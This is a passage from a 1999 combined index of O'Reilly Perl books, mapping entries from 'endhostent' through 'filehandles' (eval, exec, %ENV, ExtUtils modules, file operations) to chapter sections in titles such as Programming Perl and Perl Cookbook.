Perl in a Nutshell, Chapter 5, Reference: endhostent
Programming Perl, 3.2.49. gethostent
ending : (see terminating)
endless loop : (see infinite loops)
endnetent() : Perl in a Nutshell, Chapter 5, Reference: endnetent
endprotoent()
Perl in a Nutshell, Chapter 5, Reference: endprotoent
Programming Perl, 3.2.60. getprotoent
endpwent()
Learning Perl, 16.1. Getting Password and Group Information
Perl in a Nutshell, Chapter 5, Reference: endpwent
Programming Perl, 3.2.61. getpwent
endservent()
Perl in a Nutshell, Chapter 5, Reference: endservent
Programming Perl, 3.2.66. getservent
endtag() (HTML::Parser) : Perl in a Nutshell, Chapter 17, Reference: endtag
English module
Perl in a Nutshell, 8.45. English
Programming Perl, 7.2.76. vars - Predeclare Global Variable Names
Programming Perl, 8.2.3. Awk Traps
Entry widgets (Perl/Tk)
Advanced Perl Programming, A.3. Entry
Advanced Perl Programming, 14.3.5.5. The entry widget
Perl in a Nutshell, 18.8. The Entry Widget
entrycget()
Menu widget : Perl in a Nutshell, 18.15.2. Menu Methods
Menubutton widget : Perl in a Nutshell, 18.14.2. Menubutton Methods
entryconfigure()
Menu widget : Perl in a Nutshell, 18.15.2. Menu Methods
Menubutton widget : Perl in a Nutshell, 18.14.2. Menubutton Methods
EnumerateRights() (Win32::FileSecurity) : Perl in a Nutshell, Chapter 19, Reference: EnumerateRights
%ENV hash
Learning Perl, 14.1. Using system and exec
Perl in a Nutshell, 4.4.2. Global Special Arrays and Hashes
Programming Perl, 2.9.4. Global Special Arrays
deleting from : Programming Perl, 3.2.26. delete
Env module
Advanced Perl Programming, 6.5.1. How Do use and Exporter Work?
Advanced Perl Programming, 9.3. Tying Hashes
Perl in a Nutshell, 8.46. Env
Programming Perl, 7.2.14. Env - Import Environment Variables
env_proxy() (LWP::UserAgent) : Perl in a Nutshell, Chapter 17, Reference: env_proxy
environment variables
Perl in a Nutshell, 3.3. Environment Variables
Programming Perl, 2.9.4. Global Special Arrays
CGI-related : Perl in a Nutshell, 9.4. CGI Environment Variables
controlling through %ENV : Learning Perl, 14.1. Using system and exec
DBI-related : Perl in a Nutshell, 12.4. DBI Environment Variables
importing : Programming Perl, 7.2.14. Env - Import Environment Variables
eof
Learning Perl, 19.8.2. Objects in CGI.pm
Perl in a Nutshell, Chapter 5, Reference: eof
Programming Perl, 3.2.31. eof
Programming Perl, 8.3.1. Time Efficiency
HTML::Parser module : Perl in a Nutshell, Chapter 17, Reference: eof
eparams() (URI::URL) : Perl in a Nutshell, Chapter 17, Reference: eparams
epath() (URI::URL) : Perl in a Nutshell, Chapter 17, Reference: epath
Epoch : (see date and time)
eq (equal to) operator
Learning Perl, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.4.2. Equality operators
Programming Perl, 8.2.1. Universal Blunders
examples of
Learning Perl, 1.5.3. Adding Choices
Learning Perl, 1.5.17. The Final Programs
Learning Perl on Win32 Systems, 1.6.3. Adding Choices
Learning Perl on Win32 Systems, 1.6.17. The Final Programs
eq() (URI::URL) : Perl in a Nutshell, Chapter 17, Reference: eq
equal sign : (see = (equal sign))
equality operators
Perl in a Nutshell, 4.5.4.2. Equality operators
Programming Perl, 2.5.12. Equality Operators
equery() (URI::URL) : Perl in a Nutshell, Chapter 17, Reference: equery
erasing : (see deleting)
err() (DBI) : Perl in a Nutshell, Chapter 12, Reference: err
Errno module : Perl in a Nutshell, 8.47. Errno
$ERRNO ($!) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
Error() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: Error
error messages
Programming Perl, 7.2.5. Carp - Generate Error Messages
Programming Perl, 8.3.6. User Efficiency
Programming Perl, 8.4. Programming with Style
Programming Perl, 9. Diagnostic Messages
Error module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
error_as_HTML() (HTTP::Response) : Perl in a Nutshell, Chapter 17, Reference: error_as_HTML
errors
(see also exceptions)
Advanced Perl Programming, 5.2. The Block Form: Exception Handling
Programming Perl, 9. Diagnostic Messages
$@ variable for : Programming Perl, 2.9.3. Global Special Variables
$! variable for : Programming Perl, 2.9.3. Global Special Variables
$? variable for : Programming Perl, 2.9.3. Global Special Variables
CGI scripts
Perl Cookbook, 19.0. Introduction
Perl Cookbook, 19.2. Redirecting Error Messages
Perl Cookbook, 19.3. Fixing a 500 Server Error
controlling for other programs : Perl Cookbook, 16.9. Controlling the Input, Output, and Error of Another Program
creating uniform DBI numbers : Advanced Perl Programming, 10.4.1.6. What DBI does not provide
eval function and : Advanced Perl Programming, 5.1. The String Form: Expression Evaluation
exceptions in subroutines : Perl Cookbook, 10.12. Handling Exceptions
handling permissions for processes : Programming Perl, 7.2.40. IPC::Open3 - Open a Process for Reading, Writing, and Error Handling
reading STDERR from programs : Perl Cookbook, 16.7. Reading STDERR from a Program
reporting filenames in : Perl Cookbook, 7.4. Making Perl Report Filenames in Errors
reporting like built-ins : Perl Cookbook, 12.12. Reporting Errors and Warnings Like Built-Ins
returning failure from subroutines : Perl Cookbook, 10.10. Returning Failure
trapping in require/use statements : Perl Cookbook, 12.2. Trapping Errors in require or use
trapping undefined function calls : Perl Cookbook, 10.15. Trapping Undefined Function Calls with AUTOLOAD
web server error log
Perl Cookbook, 19.0. Introduction
Perl Cookbook, 20.13. Processing Server Logs
when parsing files : Advanced Perl Programming, 6.3. Package Initialization and Destruction
errstr() (DBI) : Perl in a Nutshell, Chapter 12, Reference: errstr
escape_from() (Mail::Internet) : Perl in a Nutshell, Chapter 14, Reference: escape_from
escaped sequences
Perl Cookbook, 1.13. Escaping Characters
Perl in a Nutshell, 4.6.3. Escaped Sequences
Programming Perl, 2.3.2.2. String literals
/etc/group file
Programming Perl, 3.2.44. getgrent
Programming Perl, 8.3.1. Time Efficiency
/etc/hosts file : Programming Perl, 3.2.49. gethostent
/etc/networks file : Programming Perl, 3.2.53. getnetent
/etc/passwd file
Programming Perl, 3.2.61. getpwent
Programming Perl, 8.3.1. Time Efficiency
/etc/services file : Programming Perl, 3.2.66. getservent
/etc/utmp file : Programming Perl, 3.2.50. getlogin
$EUID ($>) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
Ev function : Advanced Perl Programming, 14.6.2. Event Details
$EVAL_ERROR variable : Advanced Perl Programming, 5.1. The String Form: Expression Evaluation
eval function
Advanced Perl Programming, B.7. Exception Handling
Learning Perl, D.5.2. The eval Operator (and s///e)
Learning Perl, 11.1. What Is a Format?
Learning Perl on Win32 Systems, D.5.2. The eval Operator (and s///e)
Learning Perl on Win32 Systems, 11.1. What Is a Format?
Perl in a Nutshell, Chapter 5, Reference: eval
Programming Perl, 3.2.32. eval
Programming Perl, 4. References and Nested Data Structures
Programming Perl, 8.3.1. Time Efficiency
die function and : Programming Perl, 3.2.27. die
exception handling with : Advanced Perl Programming, 5.2. The Block Form: Exception Handling
expression evaluation with
Advanced Perl Programming, 5.1. The String Form: Expression Evaluation
Advanced Perl Programming, 5.4. Using Eval for Expression Evaluation
improving preformance with : Advanced Perl Programming, 5.5. Using Eval for Efficiency
loops and : Programming Perl, 8.3.1. Time Efficiency
other languages and : Advanced Perl Programming, 5.7. Eval in Other Languages
with require/use statement : Perl Cookbook, 12.2. Trapping Errors in require or use
quotation marks and : Advanced Perl Programming, 5.3. Watch Your Quotes
security and : Advanced Perl Programming, 5.1. The String Form: Expression Evaluation
in substitution
Perl Cookbook, 1.8. Expanding Variables in User Input
Perl Cookbook, 6.0. Introduction
Perl Cookbook, 6.4. Commenting Regular Expressions
for time-outs : Advanced Perl Programming, 5.6. Using Eval for Time-Outs
translating with variables : Programming Perl, 2.4.2. Pattern-Matching Operators
$EVAL_ERROR ($@) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
EventLog module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
events
event details : Advanced Perl Programming, 14.6.2. Event Details
event loops
Msg module : Advanced Perl Programming, 13.1.1.4. Msg: Event loop routines
Perl/Tk and : Advanced Perl Programming, 14.2. Starting with Perl/Tk
widgets and : Advanced Perl Programming, 14.7. Event Loops
modifiers of : Advanced Perl Programming, 14.6. Event Bindings
multiple bindings to : Advanced Perl Programming, 14.6.1. Multiple Bindings
Tk resize : Perl Cookbook, 15.16. Responding to Tk Resize Events
widget event bindings : Advanced Perl Programming, 14.6. Event Bindings
example Perl scripts
Advanced Perl Programming, FTP
Learning Perl on Win32 Systems, Exercises
Perl in a Nutshell, 2.3.1.1. Perl examples
Programming Perl, 8.5.2. Examples
exceptions : Advanced Perl Programming, B.7. Exception Handling
die function for : Programming Perl, 3.2.27. die
Exception.pm module : Advanced Perl Programming, 5.2.1.1. Exception.pm
exceptions.pl module : Advanced Perl Programming, 5.2.1.2. exceptions.pl
handling in subroutines : Perl Cookbook, 10.12. Handling Exceptions
handling with eval : Advanced Perl Programming, 5.2. The Block Form: Exception Handling
modules for : Advanced Perl Programming, 5.2.1. Standard Modules
other languages and : Advanced Perl Programming, 5.7. Eval in Other Languages
SWIG and : Advanced Perl Programming, 18.3. SWIG Features
trapping undefined function calls : Perl Cookbook, 10.15. Trapping Undefined Function Calls with AUTOLOAD
exclamation point : (see ! (bang))
exclusive locks : Perl Cookbook, 7.11. Locking a File
exclusive OR operator
Programming Perl, 2.5.13. Bitwise Operators
Programming Perl, 2.5.20. Logical and, or, not, and xor
Programming Perl, 8.2.3. Awk Traps
exec()
Perl Cookbook, 16.0. Introduction
Perl Cookbook, 16.3. Replacing the Current Program with a Different One
Perl Cookbook, 19.6. Executing Commands Without Shell Escapes
Learning Perl, 14.4. Using fork
Perl in a Nutshell, Chapter 5, Reference: exec
Programming Perl, 3.2.33. exec
$EXECUTABLE_NAME ($^X) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
execute bits
Learning Perl, 1.4. Basic Concepts
Learning Perl on Win32 Systems, 13.4. Modifying Permissions
execute() (DBI)
Perl in a Nutshell, Chapter 12, Reference: execute
Perl in a Nutshell, 12.2.3. Database Handles and Statement Handles
executing
format : Learning Perl, 11.3. Invoking a Format
methods : Programming Perl, 5.3.6. Method Invocation
other programs from Perl : Programming Perl, 3.2.167. system
Perl programs
Programming Perl, 1.3.1. How to Do It
Programming Perl, 6.1. Cooperating with Command Interpreters
subroutines : Learning Perl, 8.2. Invoking a User Function
executor : Advanced Perl Programming, 20.2.3. Executor
execv function (in C) : Programming Perl, 3.2.33. exec
execvp function (in C) : Programming Perl, 3.2.33. exec
exists()
Perl Cookbook, 5.1. Adding an Element to a Hash
Perl in a Nutshell, Chapter 5, Reference: exists
Programming Perl, 3.2.34. exists
Programming Perl, 5.4.3. Tying Hashes
multiple hash key values : Perl Cookbook, 5.7. Hashes with Multiple Values Per Key
News::Newsrc module : Perl in a Nutshell, Chapter 15, Reference: exists
EXISTS method : Programming Perl, 5.4.3. Tying Hashes
exit()
Learning Perl, 14.4. Using fork
Learning Perl on Win32 Systems, 14.3. Using Processes as Filehandles
Perl in a Nutshell, Chapter 5, Reference: exit
Perl in a Nutshell, 11.4. Running CGI Scripts with mod_perl
Programming Perl, 3.2.35. exit
Programming Perl, 3.2.40. fork
exit statement (awk) : Programming Perl, 6.4.2.2. a2p
exit status, die() and
Learning Perl, 10.3. A Slight Diversion: die
Learning Perl on Win32 Systems, 10.4. A Slight Diversion: die
exit value
Learning Perl, 14.4. Using fork
Learning Perl on Win32 Systems, 14.3. Using Processes as Filehandles
exiting
diagnostics module : Programming Perl, 7.2.10. diagnostics - Force Verbose Warning Diagnostics
infinite loop : Programming Perl, 2.6.4.2. For loops
exp()
Perl in a Nutshell, Chapter 5, Reference: exp
Programming Perl, 3.2.36. exp
expand() (Net::SMTP) : Perl in a Nutshell, Chapter 14, Reference: expand
-expand option (pack geometry manager) : Perl in a Nutshell, 18.2.1. The pack Geometry Manager
ExpandEnvironmentStrings module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
expanding tabs : Perl Cookbook, 1.7. Expanding and Compressing Tabs
expanding variables in user input : Perl Cookbook, 1.8. Expanding Variables in User Input
expansion, filename : Programming Perl, 3.2.69. glob
Expect module : Perl Cookbook, 15.13. Controlling Another Program with Expect
experts, and reading introductory sections : Learning Perl on Win32 Systems, 1.6.8. Making It Fair for the Rest
Expires property (response cookies)
Perl in a Nutshell, 20.2.2.1. Setting cookies
Perl in a Nutshell, 20.2.2.2. Response properties
ExpiresAbsolute property (Response object) : Perl in a Nutshell, 20.2.2.2. Response properties
expn program (example) : Perl Cookbook, 18.9. Program: expn and vrfy
exponential notation, in floating-point numbers : Learning Perl, 2.2.2. Float Literals
exponentiation (**) operator
Learning Perl, 2.4.1. Operators for Numbers
Perl in a Nutshell, 4.5.3. Arithmetic Operators
Programming Perl, 2.5.4. Exponentiation
Programming Perl, 8.2.3. Awk Traps
@EXPORT array (use pragma) : Perl Cookbook, 12.1. Defining a Module's Interface
export command, emulating : Learning Perl, 14.1. Using system and exec
@EXPORT_OK array (use pragma) : Perl Cookbook, 12.1. Defining a Module's Interface
@EXPORT_TAGS array (use pragma) : Perl Cookbook, 12.1. Defining a Module's Interface
Exporter module
Advanced Perl Programming, 6.5. Importing Symbols
Perl Cookbook, 12.0. Introduction
Perl Cookbook, 12.1. Defining a Module's Interface
Perl in a Nutshell, 8.48. Exporter
Programming Perl, 7.2.15. Exporter - Default Import Method for Modules
exporting to modules : Perl Cookbook, 12.0. Introduction
-exportselection option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
expr command (debugger) : Programming Perl, 8.1.1. Debugger Commands
expressions
array literals : Learning Perl, 3.2. Literal Representation
evaluation
Advanced Perl Programming, 5.1. The String Form: Expression Evaluation
Advanced Perl Programming, 5.4. Using Eval for Expression Evaluation
/e flag with substitutions : Advanced Perl Programming, 5.4.1. Expression Evaluation in Substitutions
interpolating within strings : Perl Cookbook, 1.10. Interpolating Functions and Expressions Within Strings
plotting : Advanced Perl Programming, 4.2.2.1. Expression plotting
in subroutine body : Learning Perl, 8.3. Return Values
EXTEND macro : Advanced Perl Programming, 20.4.2.2. Ensuring that the stack is big enough
extended regular expression syntax : Perl in a Nutshell, 4.6.8. Extended Regular Expressions
$EXTENDED_OS_ERROR ($^E) variable : Perl in a Nutshell, 4.4.1. Global Special Variables
extending arrays : Programming Perl, 2.3.4. List Values and Arrays
extension modules, Perl : Advanced Perl Programming, 19.4. Adding Extensions
definition of : Learning Perl on Win32 Systems, B.1. Library Terminology
installing : Programming Perl, 7.2.16. ExtUtils::Install - Install Files from Here to There
Makefiles for : Programming Perl, 7.2.18. ExtUtils::MakeMaker - Create a Makefile for a Perl Extension
Win32, list of : Learning Perl on Win32 Systems, B.4. Win32 Extensions
extra path information : Perl in a Nutshell, 9.3. Extra Path Information
extract_cookies() (HTTP::Cookies) : Perl in a Nutshell, Chapter 17, Reference: extract_cookies
extract_links() (HTML::Parser) : Perl in a Nutshell, Chapter 17, Reference: extract_links
extracting
from arrays : (see arrays)
source code
Perl in a Nutshell, 2.3.1. Installing on Unix
Perl in a Nutshell, 2.3.2.2. Standard Perl distribution
substrings : Programming Perl, 3.2.162. substr
URLs from HTML : Perl Cookbook, 20.3. Extracting URLs
ExtUtils modules : Perl in a Nutshell, 8.49. ExtUtils::Command
ExtUtils::Command module : Perl in a Nutshell, 8.49. ExtUtils::Command
ExtUtils::Embed module
Advanced Perl Programming, 19.4. Adding Extensions
Perl in a Nutshell, 8.50. ExtUtils::Embed
ExtUtils::Install module
Perl in a Nutshell, 8.51. ExtUtils::Install
Programming Perl, 7.2.16. ExtUtils::Install - Install Files from Here to There
ExtUtils::Installed module : Perl in a Nutshell, 8.52. ExtUtils::Installed
ExtUtils::Liblist module
Perl in a Nutshell, 8.53. ExtUtils::Liblist
Programming Perl, 7.2.17. ExtUtils::Liblist - Determine Libraries to Use and How to Use Them
ExtUtils::MakeMaker module
Perl in a Nutshell, 8.54. ExtUtils::MakeMaker
Programming Perl, 7.2.18. ExtUtils::MakeMaker - Create a Makefile for a Perl Extension
ExtUtils::Manifest module
Perl in a Nutshell, 8.55. ExtUtils::Manifest
Programming Perl, 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
ExtUtils::Miniperl module
Perl in a Nutshell, 8.56. ExtUtils::Miniperl
Programming Perl, 7.2.20. ExtUtils::Miniperl - Write the C Code for perlmain.c
ExtUtils::Mkbootstrap module
Perl in a Nutshell, 8.57. ExtUtils::Mkbootstrap
Programming Perl, 7.2.21. ExtUtils::Mkbootstrap - Make a Bootstrap File for Use by DynaLoader
ExtUtils::Mksymlists module
Perl in a Nutshell, 8.58. ExtUtils::Mksymlists
Programming Perl, 7.2.22. ExtUtils::Mksymlists - Write Linker Option Files for Dynamic Extension
ExtUtils::MM_OS2 module
Perl in a Nutshell, 8.59. ExtUtils::MM_OS2
Programming Perl, 7.2.23. ExtUtils::MM_OS2 - Methods to Override UNIX Behavior in ExtUtils::MakeMaker
ExtUtils::MM_Unix module
Perl in a Nutshell, 8.60. ExtUtils::MM_Unix
Programming Perl, 7.2.24. ExtUtils::MM_Unix - Methods Used by ExtUtils::MakeMaker
ExtUtils::MM_VMS module
Perl in a Nutshell, 8.61. ExtUtils::MM_VMS
Programming Perl, 7.2.25. ExtUtils::MM_VMS - Methods to Override UNIX Behavior in ExtUtils::MakeMaker
ExtUtils::MM_WIN32 module : Perl in a Nutshell, 8.62. ExtUtils::MM_Win32
ExtUtils::Packlist module : Perl in a Nutshell, 8.63. ExtUtils::Packlist
ExtUtils::testlib module : Perl in a Nutshell, 8.64. ExtUtils::testlib

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: F

@F array
Perl in a Nutshell, 4.4.2. Global Special Arrays and Hashes
Programming Perl, 2.9.4. Global Special Arrays
f command (debugger)
Perl in a Nutshell, Chapter 6, Reference: f
Programming Perl, 8.1.1. Debugger Commands
-f file test operator
Learning Perl, 10.5. The -x File Tests
Learning Perl on Win32 Systems, 10.6. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
F<> interior sequence (pod) : Perl in a Nutshell, 4.11.2. Interior sequences
-F option (dprofpp) : Perl in a Nutshell, 6.5. The Perl Profiler
-f option (perlbug) : Perl in a Nutshell, 6.6. The perlbug Program
\f (formfeed) sequence : Perl in a Nutshell, 4.6.3. Escaped Sequences
-F switch, perl
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
F_SETFL command : Advanced Perl Programming, 12.3.3. Nonblocking Filehandles
failure, returning from subroutines : Perl Cookbook, 10.10. Returning Failure
fallback operator : Programming Perl, 7.2.48.5. Fallback
false
(see also Boolean)
Learning Perl on Win32 Systems, 4.2. The if/unless Statement
definition of : Learning Perl, 4.2. The if/unless Statement
regular expressions : Learning Perl, 7.2. Simple Uses of Regular Expressions
false strings : Perl Cookbook, 1.0. Introduction
FAQs, Perl-related
Learning Perl on Win32 Systems, 1.4. Support
Perl in a Nutshell, 1.4.2. Frequently Asked Questions Lists (FAQs)
Programming Perl, Frequently Asked Questions List
Fast module : Learning Perl, 19.10.2. Embedded Perl
FastCGI : Perl in a Nutshell, 8.29. CGI::Fast
fastcwd() routine : Programming Perl, 7.2.7. Cwd - Get Pathname of Current Working Directory
Fatal module : Perl in a Nutshell, 8.65. Fatal
fcntl()
Perl Cookbook, 7.14. Doing Non-Blocking I/O
Perl Cookbook, 10.10. Returning Failure
Perl in a Nutshell, Chapter 5, Reference: fcntl
Programming Perl, 3.2.37. fcntl
Fcntl module
Advanced Perl Programming, 12.3.3. Nonblocking Filehandles
Perl in a Nutshell, 8.66. Fcntl
Programming Perl, 7.2.26. Fcntl - Load the C fcntl.h Defines
fd() method : Programming Perl, 7.2.8.7. Locking databases
fdirs program (example) : Perl Cookbook, 9.7. Processing All Files in a Directory Recursively
fdopen()
Perl Cookbook, 7.19. Opening and Closing File Descriptors by Number
Programming Perl, 7.2.33. FileHandle - Supply Object Methods for Filehandles
fetch() (DBI) : Perl in a Nutshell, Chapter 12, Reference: fetch
FETCH method
Advanced Perl Programming, 9.1. Tying Scalars
Perl Cookbook, 13.15. Creating Magic Variables with tie
Programming Perl, 5.4.1. Tying Scalars
Programming Perl, 5.4.2. Tying Arrays
Programming Perl, 5.4.3. Tying Hashes
fetchall_arrayref() (DBI) : Perl in a Nutshell, Chapter 12, Reference: fetchall_arrayref
fetching URLs from Perl scripts : Perl Cookbook, 20.1. Fetching a URL from a Perl Script
fetchrow_array() (DBI) : Perl in a Nutshell, Chapter 12, Reference: fetchrow_array
fetchrow_arrayref() (DBI) : Perl in a Nutshell, Chapter 12, Reference: fetchrow_arrayref
fetchrow_hashref() (DBI) : Perl in a Nutshell, Chapter 12, Reference: fetchrow_hashref
FetchURL() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: FetchURL
-fg option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
<FH> operator : Programming Perl, 8.2.2. Frequently Ignored Advice
field definition line
Learning Perl, 1.5.14. Listing the Secret Words
Learning Perl on Win32 Systems, 1.6.14. Listing the Secret Words
field value line
Learning Perl, 1.5.14. Listing the Secret Words
Learning Perl on Win32 Systems, 1.6.14. Listing the Secret Words
fieldholders : Perl in a Nutshell, 4.10. Formats
fieldlines of format : Learning Perl, 11.2. Defining a Format
fields module : Perl in a Nutshell, 8.67. fields
fifolog program (example) : Perl Cookbook, 16.11. Making a Process Look Like a File with Named Pipes
FIFOs (named pipes)
Perl Cookbook, 16.11. Making a Process Look Like a File with Named Pipes
Programming Perl, 6.2.2.4. Named pipes
file contents
(see also directories; files)
Perl Cookbook, 8.0. Introduction
Perl Cookbook, 9.0. Introduction
adding records to wtmp file : Perl Cookbook, 8.18. Program: tailwtmp
continually growing files, reading : Perl Cookbook, 8.5. Trailing a Growing File
counting lines/paragraphs/records : Perl Cookbook, 8.2. Counting Lines (or Paragraphs or Records) in a File
deleting last line of : Perl Cookbook, 8.10. Removing the Last Line of a File
extracting single line : Perl Cookbook, 8.8. Reading a Particular Line in a File
fixed-length records
Perl Cookbook, 8.0. Introduction
Perl Cookbook, 8.15. Reading Fixed-Length Records
modifying
with -i option : Perl Cookbook, 7.9. Modifying a File in Place with -i Switch
with temporary files : Perl Cookbook, 7.8. Modifying a File in Place with Temporary File
without temporary files : Perl Cookbook, 7.10. Modifying a File in Place Without a Temporary File
processing all words in : Perl Cookbook, 8.3. Processing Every Word in a File
processing binary files : Perl Cookbook, 8.11. Processing Binary Files
random access I/O : Perl Cookbook, 8.12. Using Random-Access I/O
random lines from : Perl Cookbook, 8.6. Picking a Random Line from a File
randomizing line order : Perl Cookbook, 8.7. Randomizing All Lines
reading : (see files, reading)
tctee program : Perl Cookbook, 8.19. Program: tctee
text files as database arrays : Perl Cookbook, 14.7. Treating a Text File as a Database Array
variable-length text fields : Perl Cookbook, 8.9. Processing Variable-Length Text Fields
viewing lastlog file information : Perl Cookbook, 8.20. Program: laston
file descriptors
Programming Perl, 3.2.38. fileno
Programming Perl, 3.2.135. select (ready file descriptors)
opening/closing : Perl Cookbook, 7.19. Opening and Closing File Descriptors by Number
File modules
Advanced Perl Programming, 11.1. Adaptor: An Introduction
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Learning Perl on Win32 Systems, 13.4. Modifying Permissions
database mapping : Advanced Perl Programming, 11.2.4. Multivalued Attributes and Database Mapping
File::Basename module
Perl Cookbook, 9.10. Splitting a Filename into Its Component Parts
Learning Perl on Win32 Systems, 10.3. Using Pathnames and Filenames
Perl in a Nutshell, 8.68. File::Basename
Programming Perl, 7.2.27. File::Basename - Parse File Specifications
File::CheckTree module
Perl in a Nutshell, 8.69. File::CheckTree
Programming Perl, 7.2.28. File::CheckTree - Run Many Tests on a Collection of Files
File::Compare module : Perl in a Nutshell, 8.70. File::Compare
File::Copy module
Perl Cookbook, 9.3. Copying or Moving a File
Perl in a Nutshell, 8.71. File::Copy
Programming Perl, 7.2.29. File::Copy - Copy Files or Filehandles
File::DosGlob module : Perl in a Nutshell, 8.72. File::DosGlob
File::Find module
Perl Cookbook, 9.7. Processing All Files in a Directory Recursively
Perl Cookbook, 9.8. Removing a Directory and Its Contents
Perl in a Nutshell, 8.73. File::Find
Programming Perl, 7.2.30. File::Find - Traverse a File Tree
File::KGlob module : Perl Cookbook, 9.6. Globbing, or Getting a List of Filenames Matching a Pattern
File::LockDir module : Perl Cookbook, 7.21. Program: netlock
File::Path module
Perl in a Nutshell, 8.74. File::Path
Programming Perl, 7.2.31. File::Path - Create or Remove a Series of Directories
File::Spec modules : Perl in a Nutshell, 8.75. File::Spec
File::Spec::Mac module : Perl in a Nutshell, 8.76. File::Spec::Mac
File::Spec::Os2 module : Perl in a Nutshell, 8.77. File::Spec::OS2
File::Spec::Unix module : Perl in a Nutshell, 8.78. File::Spec::Unix
File::Spec::VMS module : Perl in a Nutshell, 8.79. File::Spec::VMS
File::Spec::Win32 module : Perl in a Nutshell, 8.80. File::Spec::Win32
File::Stat module
Perl Cookbook, 8.5. Trailing a Growing File
Perl Cookbook, 9.0. Introduction
Perl in a Nutshell, 8.81. File::stat
implementation of : Advanced Perl Programming, 11.3.1. Adaptor::File
object uniqueness and : Advanced Perl Programming, 11.2.8. Uniqueness of Objects in Memory
file stat cache (_) : Perl Cookbook, 9.0. Introduction
file test operators
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
__FILE__ token
Perl Cookbook, 10.4. Determining Current Function Name
Perl in a Nutshell, 4.4.4. Global Special Constants
Programming Perl, 2.3.2.7. Other literal tokens
FileCache module
Perl Cookbook, 7.17. Caching Open Output Filehandles
Perl in a Nutshell, 8.82. FileCache
Programming Perl, 7.2.32. FileCache - Keep More Files Open Than the System Permits
filecheck() : Programming Perl, 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
FileHandle module
Advanced Perl Programming, 3.4. Filehandles, Directory Handles, and Formats
Advanced Perl Programming, 3.4.3. Localizing Filehandles
Perl Cookbook, 7.0. Introduction
Perl in a Nutshell, 8.83. FileHandle
Programming Perl, 7.2.33. FileHandle - Supply Object Methods for Filehandles
constructor, open function with : Programming Perl, 3.2.102. open
filehandles
Advanced Perl Programming, B.10. Filehandles, Formats
Advanced Perl Programming, 3.4. Filehandles, Directory Handles, and Formats
Perl Cookbook, 7.0. Introduction
Learning Perl, 1.5.10. Moving the Secret Word List into a Separate File
Learning Perl, 10.1. What Is a Filehandle?
Learning Perl on Win32 Systems, 1.6.10. Moving the Secret Word List into a Separate File
Learning Perl on Win32 Systems, 10.1. What Is a Filehandle?
Perl in a Nutshell, 4.9. Filehandles
Programming Perl, 1.4. Filehandles
angle operator and : Programming Perl, 2.3.7.2. Line input (angle) operator
caching open filehandles : Perl Cookbook, 7.17. Caching Open Output Filehandles
copying
Perl Cookbook, 7.20. Copying Filehandles
Programming Perl, 7.2.29. File::Copy - Copy Files or Filehandles
creating : Programming Perl, 1.4. Filehandles
default
Learning Perl, 10.4. Using Filehandles
Learning Perl on Win32 Systems, 10.5. Using Filehandles
dynamic binding : Advanced Perl Programming, 9.4. Tying Filehandles
ending with _TOP
Programming Perl, 2.8. Formats
Programming Perl, 2.9.2. Per-Filehandle Special Variables
formats and : Learning Perl, 11.3. Invoking a Format
functions for : Perl in a Nutshell, 5.1. Perl Functions by Category
global : Programming Perl, 2.9.5. Global Special Filehandles
indirect : Learning Perl, 12.2. Globbing
local
Advanced Perl Programming, 3.4.3. Localizing Filehandles
Perl Cookbook, 7.16. Storing Filehandles in Variables
Perl Cookbook, 10.13. Saving Global Values
Programming Perl, 2.3.6. Typeglobs and Filehandles
modules/packages and : Advanced Perl Programming, 6.1. Basic Package
names for : Programming Perl, 2.3.1. Variables
networking and : Advanced Perl Programming, 12.5. IO Objects and Filehandles
non-blocking I/O : Perl Cookbook, 7.14. Doing Non-Blocking I/O
nonblocking : Advanced Perl Programming, 12.3.3. Nonblocking Filehandles
object methods for : Programming Perl, 7.2.33. FileHandle - Supply Object Methods for Filehandles
open function : Programming Perl, 3.2.102. open
passing
Advanced Perl Programming, 3.4.2. Passing Filehandles to Subroutines
Perl Cookbook, 7.16. Storing Filehandles in Variables
Perl Cookbook, 10.13. Saving Global Values
Perl Cookbook, 12.5. Determining the Caller's Package
Programming Perl, 2.7.2. Passing References
positioning file pointer for : Programming Perl, 3.2.132. seek
print() and
Learning Perl, 1.5.12. Warning Someone When Things Go Astray
Learning Perl on Win32 Systems, 1.6.12. Warning Someone When Things Go Astray
printing to multiple simultaneously : Perl Cookbook, 7.18. Printing to Many Filehandles Simultaneously
as processes : Learning Perl, 14.3. Using Processes as Filehandles
read() and : Learning Perl, 17.4. Fixed-Length Random Access Databases
reading from
Perl Cookbook, 7.13. Reading from Many Filehandles Without Blocking
Learning Perl, 10.4. Using Filehandles
Learning Perl on Win32 Systems, 10.5. Using Filehandles
Programming Perl, 3.2.116. read
references to : Programming Perl, 4.2.6. Filehandle Referencers
reporting filenames in errors : Perl Cookbook, 7.4. Making Perl Report Filenames in Errors
